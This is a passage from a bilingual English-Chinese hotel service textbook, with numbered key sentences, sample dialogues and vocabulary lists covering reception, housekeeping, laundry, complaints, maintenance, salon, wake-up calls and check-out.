/&gt;B： Good afternoon．I'm looking for a man whose name is John．&lt;br /&gt;A：Could you tell me his room number，please？&lt;br /&gt;B： I suppose it is 735．&lt;br /&gt;A： Please wait a moment． Let me phone him… Mr． John said he's waiting for you in his room．&lt;br /&gt;B： Thank you very much．By the way， please show me where the lift is？&lt;br /&gt;A：I'll tell you how to get there．This way，please…&lt;br /&gt;B： Thank you．&lt;br /&gt;A：It's my pleasure．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;（A： Receptionist B： Mr Brown）&lt;br /&gt;A：Good morning，sir．Anything I can do for you？&lt;br /&gt;B：Good morning．I need some information about touring Hangzhou．&lt;br /&gt;A：There are two trains going to Hangzhou every morning， &lt;br /&gt;No．49 and No．79．Which one do you prefer？&lt;br /&gt;B： Which is earlier？&lt;br /&gt;A：No．49．This train goes to Guangzhou，and it stops at Hangzhou．&lt;br /&gt;B：What time does this train leave？&lt;br /&gt;A：At 9∶45 in the morning and arrives in Hangzhou at about one o'clock in the afternoon．&lt;br /&gt;B：Good，I'll take this one．Could you get me two tickets for tomorrow here？&lt;br /&gt;A：Sorry，sir．Please go to the Shanghai Travel Service Agency in our hotel．It's on the ground floor．&lt;br /&gt;B：Oh，I see．Thanks．&lt;br /&gt;　&lt;br /&gt;Dialogue C&lt;br /&gt;（A：Receptionist B：Mr Miller）&lt;br /&gt;A：Good afternoon．What can I do for you？&lt;br /&gt;B：Good afternoon．I'm looking for a friend．Mr．Brown．&lt;br /&gt;Could you tell me if he is in the hotel？&lt;br /&gt;A：Mr．Brown？Just a minute，please．I'll see if he is registered．&lt;br /&gt;（The Receptionist looks over the register）&lt;br /&gt;A：Brown，Mr．Brown？There are a lot of Browns here today…Mr．Charles Brown，Mr David Brown…&lt;br /&gt;B：Mr．Johnson Brown from Chicago．Isn't he staying at this hotel？&lt;br /&gt;A：Oh，yes，here's his name Mr．and Mrs． Johnson Brown and family．They are in Suite 705．Please wait a moment，let me phone him…Mr．Brown said he's waiting for you in his room．&lt;br /&gt;B：Thank you．Would you please show me where the lift is？&lt;br /&gt;A：OK．Step this way，please．Here it is．&lt;br /&gt;B： Thank you．&lt;br /&gt;R：It's my pleasure．&lt;br /&gt;　 &lt;br /&gt;Words and Expressions　&lt;br /&gt;register     n．登记簿&lt;br /&gt;Chicago     n．芝加哥（美国城市）&lt;br /&gt;lift    n．电梯（英）&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Housekeeping  客房服务 &lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;99．Housekeeping．May I come in？&lt;br /&gt;我是客房的，可以进来吗？&lt;br /&gt;100．When would you like me to do your room，sir？&lt;br /&gt;您要我什么时间来给你打扫房间呢，先生？&lt;br /&gt;101．You can do it now if you like．&lt;br /&gt;如果您愿意，现在就可以打扫。&lt;br /&gt;102．I would like you to go and get me a flask of hot water．&lt;br /&gt;我想请你给我拿一瓶开水来。&lt;br /&gt;103．I'm sorry that your flask is empty．&lt;br /&gt;很抱歉您的水壶空了。&lt;br /&gt;104．May I do the turn-down service for you now？&lt;br /&gt;现在可以为您收拾房间了吗？&lt;br /&gt;105．Oh，thank you．But you see，we are having some friends over．&lt;br /&gt;噢，谢谢，但你知道我们邀请了一些朋友过来聚聚。&lt;br /&gt;106．Could you come back in three hours？&lt;br /&gt;你能不能过3小时再来整理？&lt;br /&gt;107．Certainly，madam．I'll let the overnight staff know．&lt;br /&gt;当然可以，女士。我会转告夜班服务员。&lt;br /&gt;108．Would you tidy up a bit in the bathroom？&lt;br /&gt;请整理一下浴室好吗？&lt;br /&gt;109．I've just taken a bath and it is quite a mess now．&lt;br /&gt;我刚洗了澡，那儿乱糟糟的。&lt;br /&gt;110．Besides，please bring us a bottle of just boiled water．&lt;br /&gt;此外，请给我们带瓶刚烧开的水来。&lt;br /&gt;111．It's growing dark．Would you like me to draw the curtains for you？&lt;br /&gt;天黑下来了，要不要我拉上窗帘？&lt;br /&gt;112．Is there anything I can do for you？&lt;br /&gt;您还有什么事要我做吗？&lt;br /&gt;113．I'm always at your service．&lt;br /&gt;乐意效劳。 &lt;br /&gt;Dialogue A&lt;br /&gt;A：Housekeeping．May I come in？&lt;br /&gt;B：Yes，please．&lt;br /&gt;A：When would you like me to do your room，sir？&lt;br /&gt;B：You can do it now if you like．I was just about to go down for my breakfast when you came．But before you start，would you do this for me？&lt;br /&gt;A：Yes，what is it？&lt;br /&gt;B：I would like you to go and get me a flask of hot water．I need some hot water to wash down medicine after breakfast．&lt;br /&gt;A：I'm sorry that your flask is empty．I'll go and get you another flask that's full at once．&lt;br /&gt;B：Thank you． &lt;br /&gt;Dialogue B（The Turn-down Service）&lt;br /&gt;A：Good evening，madam and sir．May I do the turn down service for you now？&lt;br /&gt;B：Oh，thank you．But you see，we are having some friends over．We're going to have a small party here in the room．Could you come back in three hours？&lt;br /&gt;A：Certainly，madam．I'll let the overnight staff know．They will come then．&lt;br /&gt;B：That's fine．Well，our friends seem to be a little late．Would you tidy up a bit in the bathroom？I've just taken a bath and it is quite a mess now． Besides，please bring us a bottle of just boiled water．We'd treat our guests to typical Chinese tea．&lt;br /&gt;A：Yes，madam．I'll bring in some fresh towels together with the drinking water．&lt;br /&gt;B：OK．&lt;br /&gt;A：（Having done all on request） It's growing dark．Would you like me to draw the curtains for you，sir and madam？&lt;br /&gt;C：Why not？That would be so cozy．&lt;br /&gt;A： May I turn on the lights for you？&lt;br /&gt;C：Yes，please．I'd like to do some reading while waiting．&lt;br /&gt;A：Yes，sir．Is there anything I can do for you？&lt;br /&gt;C：No more．You're a smart girl indeed．Thank you very much．&lt;br /&gt;A：I'm always at your service．Goodbye，sir and madam，and do have a very pleasant evening． &lt;br /&gt;Words and Expressions　&lt;br /&gt;flask     n．长颈瓶，热水瓶&lt;br /&gt;overnight     a．终夜的，一夜间的&lt;br /&gt;cozy      a．舒适的，温暖的&lt;br /&gt;service     n．服务，帮助&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Laundry Service 洗衣服务&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;114．Excuse me．Have you any laundry？&lt;br /&gt;对不起，请问有没有要洗的衣服？&lt;br /&gt;115．The laundry man is here to collect it．&lt;br /&gt;洗衣房服务员来这儿收要洗的衣服了。&lt;br /&gt;116．If you have any，please just leave it in the laundry bag behind the  bathroom door．&lt;br /&gt;如果您有衣服要洗，请放在浴室门后的洗衣袋里。&lt;br /&gt;117．Please tell us or notify in the list whether you need your clothes ironed，washed，dry-cleaned or mended and also what time you want to get them back．&lt;br /&gt;请告诉我们或在洗衣单上写明您的衣服是否需要熨烫，水洗，干洗或缝补，还要写明何时需要取衣服。&lt;br /&gt;118．What if there is any laundry damage？&lt;br /&gt;如果你们洗衣时损坏了衣服怎么办？&lt;br /&gt;119．In such a case，the hotel should certainly pay for it．&lt;br /&gt;如果是这样，饭店当然应该赔偿。&lt;br /&gt;120．Could you send someone up for my laundry，please？&lt;br /&gt;请问，你们能派人来收要洗的衣服吗？&lt;br /&gt;121．A valet will be up in a few minutes．&lt;br /&gt;洗熨工马上就到。&lt;br /&gt;122．Will the color run in the wash？&lt;br /&gt;洗衣时会掉色吗？&lt;br /&gt;123．We'll dry-clean the dress．&lt;br /&gt;我们将干洗这条裙子。&lt;br /&gt;124．We'll stitch it before washing．&lt;br /&gt;我们会在洗之前把衬里缝好。&lt;br /&gt;125．When can I have my laundry back？&lt;br /&gt;我何时能取回洗的衣服呢？&lt;br /&gt;126．But would you like express service or same-day？&lt;br /&gt;不过，您是要快洗服务还是当日取？&lt;br /&gt;127．I'd like this sweater to be washed by hand in cold water．&lt;br /&gt;这件毛衣要用冷水手洗。 &lt;br /&gt;Dialogue A&lt;br /&gt;（Explaining How to Get the Service）&lt;br /&gt;（A：Room Attendant B：Guest）&lt;br /&gt;A：Excuse me．Have you any laundry？The laundry man is here to collect it．&lt;br /&gt;B：No，not now，thank you．&lt;br /&gt;A：If you have any，please just leave it in the laundry bag be-hind the bathroom door．The laundry man comes over to collect it every morning．&lt;br /&gt;B：Thank you．&lt;br /&gt;A：Please tell us or notify in the list whether you need your clothes ironed，washed，dry-cleaned or mended and also what time you want to get them back．&lt;br /&gt;B：I see．What if there is any laundry damage？I wonder if your hotel has a policy on dealing with it． &lt;br /&gt;A：In such a case，the hotel should certainly pay for it．The indemnity shall not exceed ten times the laundry．&lt;br /&gt;B：That sounds quite reasonable．I hope there's no damage at all．&lt;br /&gt;A：Don't worry，sir．The Laundry Department has wide experience in their work．&lt;br /&gt;B：All right．Thank you for your information．&lt;br /&gt;A：Not at all．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;（Express Service）&lt;br /&gt;（A：Laundry clerk B：Mrs Bell）&lt;br /&gt;A：What can I do for you？&lt;br /&gt;B：Could you send someone up for my laundry，please？Room908，Bell．&lt;br /&gt;A：Certainly，Mrs Bell．A valet will be up in a few minutes．&lt;br /&gt;B：Good．I also have a silk dress which I don't think is color-fast．Will the color run in the wash？&lt;br /&gt;A：We'll dry-clean the dress．Then the color won't run．&lt;br /&gt;B：You're sure？Good！And the lining of my husband's jackets come unstitched．It might tear over further while washing．&lt;br /&gt;A：Don't worry，madam．We'll stitch it before washing．&lt;br /&gt;B：That's fine．Now，when can I have my laundry back？&lt;br /&gt;A：Usually it takes about two days to have laundry done．But would you like express service or same-day？&lt;br /&gt;B：What is the difference in price？&lt;br /&gt;A：We charge 50％ more for express， but it only takes 5 hours．&lt;br /&gt;B：And for same-day，will I get the dress and skirt back this evening？&lt;br /&gt;A：Yes，madam．All deliveries will be made before six o'clock．&lt;br /&gt;B：I'll have express then．&lt;br /&gt;　&lt;br /&gt;Dialogue C&lt;br /&gt;A：Can I help you？&lt;br /&gt;B：Yes．I have some laundry to be done．&lt;br /&gt;A：Certainly，sir．Could you fill out the laundry form，please？&lt;br /&gt;B：May I use your pen？&lt;br /&gt;A：Sure．Here you are．&lt;br /&gt;B：Thanks．Oh，I don't want these shirts starched．&lt;br /&gt;A：No starch．I understand，sir．&lt;br /&gt;B：And also I'd like this sweater to be washed by hand in cold water．It might shrink otherwise． &lt;br /&gt;A：By hand in cold water，I see．&lt;br /&gt;B：When will they be ready？&lt;br /&gt;A：We will deliver them tomorrow evening around 6．&lt;br /&gt;B：Fine，Thanks a lot．&lt;br /&gt;　&lt;br /&gt;Words and Expressions　&lt;br /&gt;notify    v．通知&lt;br /&gt;iron     v．熨烫&lt;br /&gt;dry-clean     v．干洗&lt;br /&gt;indemnity     n．赔偿&lt;br /&gt;mend    v．修补，缝补&lt;br /&gt;stitch    v．缝缀&lt;br /&gt;valet    n．旅馆中替客人洗烫衣服的人员&lt;br /&gt;colorfast    a．不褪色的&lt;br /&gt;express service 快洗服务&lt;br /&gt;starch    v．给（衣服等）浆，浆硬&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;处理投诉&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;128．Can you change the room for me？ It's too noisy．&lt;br /&gt;能给我换个房间吗？这儿太吵了。&lt;br /&gt;129．My wife was woken up several times by the noise the baggage elevator made．&lt;br /&gt;我妻子被运送行李的电梯发出的嘈杂声弄醒了几次。&lt;br /&gt;130．She said it was too much for her．&lt;br /&gt;她说这使她难以忍受。&lt;br /&gt;131．I'm awfully sorry，sir．&lt;br /&gt;非常对不起，先生。&lt;br /&gt;132．I do apologize．&lt;br /&gt;我向您道歉。&lt;br /&gt;133．No problem，sir．&lt;br /&gt;没问题，先生。&lt;br /&gt;134．We'll manage it，but we don't have any spare room today．&lt;br /&gt;我们会尽力办到，但是今天我们没有空余房间。&lt;br /&gt;135．Could you wait till tomorrow？&lt;br /&gt;等到明天好吗？&lt;br /&gt;136．I hope we'll be able to enjoy our stay in a quiet suite tomorrow evening and have a sound sleep．&lt;br /&gt;我希望明天晚上我们能呆在一套安静的房间里睡个好觉。&lt;br /&gt;137．And if there is anything more you need， please let us know．&lt;br /&gt;如果还需要别的什么东西，请告诉我们。&lt;br /&gt;138．The light in this room is too dim．&lt;br /&gt;这房间里的灯光太暗了。&lt;br /&gt;139．Please get me a brighter one．&lt;br /&gt;请给我换个亮的。&lt;br /&gt;140．Certainly，sir．I'll be back right away．&lt;br /&gt;好的，先生，我马上就回来。&lt;br /&gt;141．The room is too cold for me．I feel rather cold when I sleep．&lt;br /&gt;这房间太冷了，我睡觉时感到很冷。 &lt;br /&gt;Dialogue A&lt;br /&gt;A guest（B） wants to change a room．He goes to the assistant manager（A）&lt;br /&gt;A：Good morning，sir．What can I do for you？&lt;br /&gt;B：I'm Bell．I'm in Room 908．Can you change the room for me？It's too noisy．My wife was woken up several times by the noise the baggage elevator made．She said it was too much for her．&lt;br /&gt;A：I'm awfully sorry，sir．I do apologize．Room 908 is at the end of the corridor．It's possible that the noise is heard early in the morning when all is quiet．&lt;br /&gt;B：Anyhow，I'd like to change our room．&lt;br /&gt;A：No problem，sir．We'll manage it，but we don't have any spare room today．Could you wait till tomorrow？The American People-to-people Education Delegation will be leaving tomorrow morning．There'll be some rooms for you to choose from． &lt;br /&gt;B：All right．I hope we'll be able to enjoy our stay in a quiet suite tomorrow evening and have a sound sleep．&lt;br /&gt;A：Be sure．I'll make a note of that．Everything will be taken care of．And if there is anything more you need，please let us know．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;A：Good evening，ma'am．Did you ring for service？What can I do for you？&lt;br /&gt;B：Yes．The light in this room is too dim．Please get me a brighter one．&lt;br /&gt;A：Certainly，sir．I'll be back right away…Do you mind if I move your things？&lt;br /&gt;B：Oh，no．Go ahead．&lt;br /&gt;A：Thank you…How is the light now？&lt;br /&gt;B：It's much better now．Thank you．&lt;br /&gt;A：You're welcome．And if you need any other things，please let us know．&lt;br /&gt;B：Ah，yes，the room is too cold for me．I feel rather cold when I sleep．Can you turn off the air-conditioning？&lt;br /&gt;A：（Checks）The air-conditioning is already off，ma'am．&lt;br /&gt;B：Maybe I'm getting a cold．&lt;br /&gt;A：Would you like an extra blanket？&lt;br /&gt;B：OK．And would you please get me some hot water，too？I think I need to take some medicine．&lt;br /&gt;A： Certainly，ma'am．I'll be right back…here is a blanket，and hot water for you．Anything else？&lt;br /&gt;B：No，thanks．&lt;br /&gt;A：Good night，ma，am．&lt;br /&gt;　&lt;br /&gt;Words and Expressions&lt;br /&gt;elevator    n．电梯&lt;br /&gt;corridor    n．走廊，回廊&lt;br /&gt;delegation    n．代表团&lt;br /&gt;extra    a．额外的，外加的&lt;br /&gt;blanket   n．羊毛毯，毯子，毛毡&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;维修服务 Maintenance&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;142．There seems to be something wrong with the toilet．&lt;br /&gt;我房间里的抽水马桶好像出了点毛病。&lt;br /&gt;143．We'll send someone to repair it immediately．&lt;br /&gt;我们会马上派人来修的。&lt;br /&gt;144．What's the trouble？&lt;br /&gt;哪儿坏啦？&lt;br /&gt;145．The toilet doesn't flush．&lt;br /&gt;抽水马桶不放水了。&lt;br /&gt;146．Let me see．Oh，it's clogged．&lt;br /&gt;让我看看。噢，堵住了。&lt;br /&gt;147．The water tap drips all night long．&lt;br /&gt;水龙头一整夜滴水。&lt;br /&gt;148．Some part needs to be replaced．I will be back soon．&lt;br /&gt;有个零件要换了。我片刻就来。&lt;br /&gt;149．Ah，I'm afraid there's something wrong with the TV．&lt;br /&gt;噢，电视机好像有些毛病。&lt;br /&gt;150．The picture is wobbly．&lt;br /&gt;图像不稳定。&lt;br /&gt;151．I'm sorry．May I have a look at it？&lt;br /&gt;很遗憾，我可以看看吗？&lt;br /&gt;152．I'll send for an electrician from the maintenance department．&lt;br /&gt;我去请维修部的电工来。&lt;br /&gt;153．We can have it repaired．&lt;br /&gt;我们能找人修理。&lt;br /&gt;154．Please wait just a few minutes．&lt;br /&gt;请稍等几分钟。&lt;br /&gt;155．The TV set is not working well．&lt;br /&gt;电视机有毛病了。&lt;br /&gt;　&lt;br /&gt;Dialogue A&lt;br /&gt;A：Housekeeping．Can I help you？&lt;br /&gt;B：Yes，there seems to be something wrong with the toilet．&lt;br /&gt;A：We'll send someone to repair it immediately．What's your room number，please？&lt;br /&gt;B：1287．&lt;br /&gt;A：May I come in？&lt;br /&gt;B：Come in．&lt;br /&gt;A：What's the trouble？&lt;br /&gt;B：The toilet doesn't flush．&lt;br /&gt;A：Let me see．Oh，it's clogged…It's all right now．You may try it．&lt;br /&gt;B：Yes， it's working now．Thank you．&lt;br /&gt;A：You're welcome．Anything else？&lt;br /&gt;B：The water tap drips all night long．I can hardly sleep．&lt;br /&gt;A：I'm very sorry，sir．Some part needs to be replaced．I will be back soon．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;B：I've locked myself out of the room．May I borrow a duplicate key？&lt;br /&gt;A：Don't worry，Mr Bell．I'll open the door for you．&lt;br /&gt;（She opens the door with a duplicate key．） &lt;br /&gt;B：Thank you very much．Sometimes I'm quite absentminded．&lt;br /&gt;A：It doesn't matter，Mr Bell．What else can I do for you？&lt;br /&gt;B：Ah，I'm afraid there's something wrong with the TV．The picture is wobbly．&lt;br /&gt;A： I'm sorry．May I have a look at it？&lt;br /&gt;B：Here it is．&lt;br /&gt;A：（Tries to fix it，but in vain）I'll send for an electrician from the maintenance department．We can have it re-paired．Please wait just a few minutes，Mr Bell．（She leaves the room．Ten minutes later，there is a knock on the door．）&lt;br /&gt;Electrician（E）： May I come in？&lt;br /&gt;B：（Opens the door） How do you do？&lt;br /&gt;E：How do you do？The TV set is not working well．Is that right，Mr Bell？&lt;br /&gt;B：No，it isn't．&lt;br /&gt;E：Let me have a look．（Finishes the repairing and checks other electric facilities in the room） Mr Bell，everything is OK now．&lt;br /&gt;B：What efficiency！Thanks a lot．&lt;br /&gt;（Taking out some fee） This is for you．&lt;br /&gt;E：Oh，no．We won't accept tips，but thank you，anyway．We wish you a nice stay with us，Mr Bell．&lt;br /&gt;　&lt;br /&gt;Words and Expressions　&lt;br /&gt;flush    v．用水冲洗&lt;br /&gt;clogged     a．塞住了&lt;br /&gt;drip     v．滴下&lt;br /&gt;wobbly    a．摇摆不定的&lt;br /&gt;electrician    n．电工，电学家&lt;br /&gt;maintenance     n．维修、保养&lt;br /&gt;facility    n．设备工具（常用复）&lt;br /&gt;efficiency    n．效率&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the Barbers and Beauty Salon 在美发和美容中心&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;156．I'd like to have my hair cut．&lt;br /&gt;我想理个发。&lt;br /&gt;157． How do you want it？&lt;br /&gt;您想理什么式样的？&lt;br /&gt;158．Just a trim，and cut the sides fairly short，but not so much at the back．&lt;br /&gt;修剪一下就行了。两边剪短些，但后面不要剪得太多。&lt;br /&gt;159．Nothing off the top？&lt;br /&gt;顶上不要剪吗？&lt;br /&gt;160．Well，a little off the top．&lt;br /&gt;嗯，稍微剪一点。&lt;br /&gt;161．Would you like a shave or shampoo？&lt;br /&gt;您要不要修面或洗头？&lt;br /&gt;162．I want a haircut and a shave，please．&lt;br /&gt;我想理发和修面。&lt;br /&gt;163．Very well，and how would you like your haircut，sir？&lt;br /&gt;好的，您喜欢什么发式？&lt;br /&gt;164．Do you want me to trim your moustache？&lt;br /&gt;要我为您修剪一下小胡子吗？&lt;br /&gt;165．Well， could you cut a little more off the temple？&lt;br /&gt;好，能不能把两边鬓角再剪短些？&lt;br /&gt;166．Is that satisfactory？&lt;br /&gt;您看这样满意吗？&lt;br /&gt;167．Anything else I can do for you？&lt;br /&gt;还要我为您做些什么吗？&lt;br /&gt;168．I want a facial．&lt;br /&gt;我想做面部美容。&lt;br /&gt;169．Most facials start with a thorough cleansing．&lt;br /&gt;面部美容大都是先彻底清洁面部皮肤。&lt;br /&gt;170．I'll take the half-hour facial with make-up．&lt;br /&gt;我要做半小时美容外加化妆。&lt;br /&gt;　&lt;br /&gt;Dialogue A&lt;br /&gt;A：Good morning，sir．Take a seat，please．&lt;br /&gt;B：Thank you．I'd like to have my hair cut．&lt;br /&gt;A：How do you want it？&lt;br /&gt;B： Just a trim，and cut the sides fairly short， but not so much at the back．&lt;br /&gt;A：Nothing off the top？&lt;br /&gt;B：Well，a little off the top．&lt;br /&gt;A：How about the front？&lt;br /&gt;B：Leave the front as it is．&lt;br /&gt;A：Would you like a shave or shampoo？&lt;br /&gt;B：No，thanks．I can do these things by myself．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;A：Good morning．Take a seat，please．&lt;br /&gt;B：Thank you．I want a haircut and a shave， please．&lt;br /&gt;A：Very well，and how would you like your haircut，sir？&lt;br /&gt;B：Just a trim，and cut the sides fairly short， but not so much at the back． &lt;br /&gt;A：Nothing off the top？&lt;br /&gt;B：Well，a little off the top．&lt;br /&gt;A：How about the front？&lt;br /&gt;B： Leave the front as it is．&lt;br /&gt;A：OK．Do you want me to trim your moustache？&lt;br /&gt;B：Yes，please．&lt;br /&gt;A：Now have a look，please．Is it all right？&lt;br /&gt;B：Well，could you cut a little more off the temple？&lt;br /&gt;A：All right．Is that satisfactory？&lt;br /&gt;B：Yes，thanks．And I'd like a shampoo，please．&lt;br /&gt;A：Yes，sir．&lt;br /&gt;（After giving the guest a shampoo） Now shall I put on some hair oil or some tonic water？&lt;br /&gt;B：Both please．&lt;br /&gt;A：Anything else I can do for you？&lt;br /&gt;B：No，thank you．And how much altogether？&lt;br /&gt;A：That will be twenty yuan．&lt;br /&gt;B： Here you are．&lt;br /&gt;A：Thank you，sir．&lt;br /&gt;　&lt;br /&gt;Dialogue C&lt;br /&gt;（Having a Facial Treatment）&lt;br /&gt;B：Good afternoon，ma'am．What can I do for you？&lt;br /&gt;A：Good afternoon．I want a facial．But this is the first time I've come here，so can you tell me how you do it？&lt;br /&gt;B： Sure． Most facials start with a thorough cleansing．Then we usually use a toner to invigorate the skin，followed by exfoliation treatment a peeling mask or scrub that re-moves the dead cells that makes the skin look dull．After that，we'll massage your face and neck with oil or cream to improve the circulation and relieve the tension， followed by a mask to moisturize and soften the skin．&lt;br /&gt;A：That's exctaly what I want．How long does it take？&lt;br /&gt;B：There are half-hour and one hour treatments．The half hour facial costs twenty yuan and the one hour costs thirty yuan．If you want a make-up，another ten yuan will do．&lt;br /&gt;A：Good．I'll take the half-hour facial with make-up． &lt;br /&gt;Words and Expressions&lt;br /&gt;moustache     n．髭，小胡子&lt;br /&gt;temple    n．鬓角&lt;br /&gt;satisfactory    n．满意的&lt;br /&gt;toner    n．调色剂，增色剂 &lt;br /&gt;invigorate    vt．滋补，滋润；使活跃；使健壮&lt;br /&gt;exfoliation    n．剥落；剥落物&lt;br /&gt;peel    v．剥（皮）；被剥（或削）去皮&lt;br /&gt;scrub     n．擦洗；擦净&lt;br /&gt;massage    vt．给（某人或身体某部位）按摩（或推拿）&lt;br /&gt;circulation    n．循环，环流；运行&lt;br /&gt;moisturize     vt．给（皮肤、空气等）增加水分&lt;br /&gt;tonic     a．滋补的&lt;br /&gt;cleanse    vt．使清洁，清洗&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;唤醒服务&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;171．I'm going to Tianjln early tomorrow morning．&lt;br /&gt;我明天一大早要去天津。&lt;br /&gt;172．So I would like to request an early morning call．&lt;br /&gt;因此我想让你们明天早上叫醒我。&lt;br /&gt;173．At what time would you like us to call you tomorrow morning？&lt;br /&gt;您想让我们明天早上什么时候叫醒您？&lt;br /&gt;174．But I have to be at the conference room of the Garden Hotel in Tianjin by 10 o'clock．&lt;br /&gt;但我是10点钟必须赶到天津花园宾馆会议室。&lt;br /&gt;175．That means that I'll have to be on the road by 7 o'clock at the latest．&lt;br /&gt;就是说我明天早晨最迟也要7点钟上路。&lt;br /&gt;176．In that case，I would like you to call me at 5∶45？&lt;br /&gt;那样的话，你们明早5点45分叫醒我好吗？&lt;br /&gt;177．OK．So we will wake you up at 5∶45 tomorrow morning．&lt;br /&gt;好，那么我们明早5点45分叫醒您。&lt;br /&gt;178．Will you do me a favour， Miss？&lt;br /&gt;小姐，能帮个忙吗？&lt;br /&gt;179．I wonder if your hotel has the morning call service．&lt;br /&gt;不知道你们饭店是否有叫早服务。&lt;br /&gt;180．Would you like a morning call？&lt;br /&gt;您要叫醒服务吗？&lt;br /&gt;181．I want to go to the Bund to enjoy the morning scenery there．&lt;br /&gt;我想到外滩去欣赏那儿的景色。&lt;br /&gt;182．At what time do you want me to call you up，sir？&lt;br /&gt;您要我什么时候叫醒您？&lt;br /&gt;183．At 6 sharp tomorrow morning， please．&lt;br /&gt;请在明早6点钟。&lt;br /&gt;184．By phone．I don't want to disturb my neighbors．&lt;br /&gt;电话叫醒，我不想吵醒邻居。&lt;br /&gt;　&lt;br /&gt;Dialogue A&lt;br /&gt;（R＝Receptionist G＝Guest）&lt;br /&gt;G：Good evening！This is Mr．Baldwin in room 303．&lt;br /&gt;R：Good evening，Mr．Baldwin．What can I do for you？&lt;br /&gt;G： I'm going to Tianjin early tomorrow morning． So I would like to request an early morning call．&lt;br /&gt;R：Yes，Mr．Baldwin，at what time would you like us to call you tomorrow morning？&lt;br /&gt;G：Well，I'm not really sure． But I have to be at the conference room of the Garden Hotel in Tianjin by 10 o'clock．You wouldn't know how long it takes to drive to Tianjin from the hotel，would you？&lt;br /&gt;R：I would give it three to three and a half hours．&lt;br /&gt;G：That means that I'll have to be on the road by 7 o'clock atthe latest．&lt;br /&gt;R：That's right．&lt;br /&gt;G：Well，in that case， I would like you to call me at 5∶45？&lt;br /&gt;R：OK．，so we will wake you up at 5∶45 tomorrow morning．Good night， Mr．Baldwin．Have a good sleep．&lt;br /&gt;G：Good night．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;Mr Smith（B） asks the room attendant（A） how to have the morning call service．&lt;br /&gt;B：Will you do me a favour， Miss？&lt;br /&gt;A：Certainly，sir．&lt;br /&gt;B：This is my first visit to China． I wonder if your hotel has the morning call service．&lt;br /&gt;A：Yes，sir．Anyone who stays in our hotel can ask for the service． Would you like a morning call？&lt;br /&gt;B：Yes，I must get up earlier tomorrow． I want to go to the Bund to enjoy the morning scenery there． You know this is my first visit to Shanghai．People say there is a marvelous view of a poetic yet bustling life at the Bund just at dawn．&lt;br /&gt;A：That's true． At what time do you want me to call you up，sir？&lt;br /&gt;B：At 6 sharp tomorrow morning，please．&lt;br /&gt;A：What kind of call would you like，by phone or by knocking at the door？&lt;br /&gt;B： By phone．I don't want to disturb my neighbors．&lt;br /&gt;A： Yes，sir．I'll tell the operator to call you up at 6 tomorrow morning．Anything else I can do for you？&lt;br /&gt;B：No．Thanks．Good night．&lt;br /&gt;A：Good night，sir．Sleep well and have a pleasant dream．&lt;br /&gt;　&lt;br /&gt;Words and Expressions　&lt;br /&gt;request    vt．请求，要求&lt;br /&gt;conferenc     n．会议&lt;br /&gt;scenery    n．风景，自然景色&lt;br /&gt;Bund     n．外滩（上海）&lt;br /&gt;marvelous    a．极好的，奇异的&lt;br /&gt;poetic     a．诗的，有诗意的&lt;br /&gt;bustling    a．喧闹的；活跃的&lt;br /&gt;disturb    vt．扰乱，使不安；打乱&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;结帐&lt;br /&gt;185．I'd like to pay my bill now．&lt;br /&gt;我想现在结账。&lt;br /&gt;186．Your name and room number，please？&lt;br /&gt;请问您的姓名和房间号码？&lt;br /&gt;187．Have you used any hotel services this morning？&lt;br /&gt;请问您今天早晨是否用过旅馆内的服务设施？&lt;br /&gt;188．Four nights at 90 US dollors each， and here are the meals that you had at the hotel．That makes a total of 665 US dollars．&lt;br /&gt;4个晚上，每晚90美元，加上膳食费，总共是660美元。&lt;br /&gt;189．Can I pay by credit card？&lt;br /&gt;我可以用信用卡支付吗？&lt;br /&gt;190．Please sign your name here．&lt;br /&gt;请您在这里签名。&lt;br /&gt;191． Excuse me． We're leaving today．I'd like to pay our bills now．&lt;br /&gt;劳驾。我们今天要离去了。我希望现在就把账结清。&lt;br /&gt;192．By the way，I'd like to tell you that the check-out time is 12∶00 noon，sir．&lt;br /&gt;先生，顺便告诉您，结账后离开旅馆时间是12点。&lt;br /&gt;193． How about the charge for the days you shared the room with your friend？&lt;br /&gt;这几天您的朋友与您同住费用怎么办呢？&lt;br /&gt;194．Please add to my account．&lt;br /&gt;请记在我的账里。&lt;br /&gt;195．Have you used any hotel services this morning or had breakfast at the hotel dining room，Mr．Green？&lt;br /&gt;格林先生，今天早晨您是否用过旅馆服务设施，或在旅馆餐厅用过早餐？&lt;br /&gt;196．Yes，my friend and I just had breakfast at the dining room，but we didn't use any services．&lt;br /&gt;是的，我的朋友与我在餐厅刚用过早餐，但是我们没有使用过任何服务设施。&lt;br /&gt;197．The total for the eight days is five hundred sixty yuan and eighty fen．&lt;br /&gt;8天来总计是560元8角。&lt;br /&gt;　&lt;br /&gt;Dialogue A&lt;br /&gt;A：Good morning，sir．Can I help you？&lt;br /&gt;B：I'd like to pay my bill now．&lt;br /&gt;A：Your name and room number， please？&lt;br /&gt;B：George Wright，Room 706．&lt;br /&gt;A：Yes，Mr．Wright．Have you used any hotel service this morning？&lt;br /&gt;B：No，I haven't used any services．&lt;br /&gt;A：Fine．This is your bill，Mr．Wright．Four nights at 90US dollars each， and here are the meals that you had atthe hotel．That makes a total of 665 US dollars．&lt;br /&gt;B： Can I pay by credit card？&lt;br /&gt;A：Certainly． May I have your card，please？ &lt;br /&gt;B： Here you are．&lt;br /&gt;A：Please sign your name here．&lt;br /&gt;B：Oh，yes．Is it possible to leave my luggage here until I'm ready to leave this afternoon？ I'd like to say good-bye to some of my 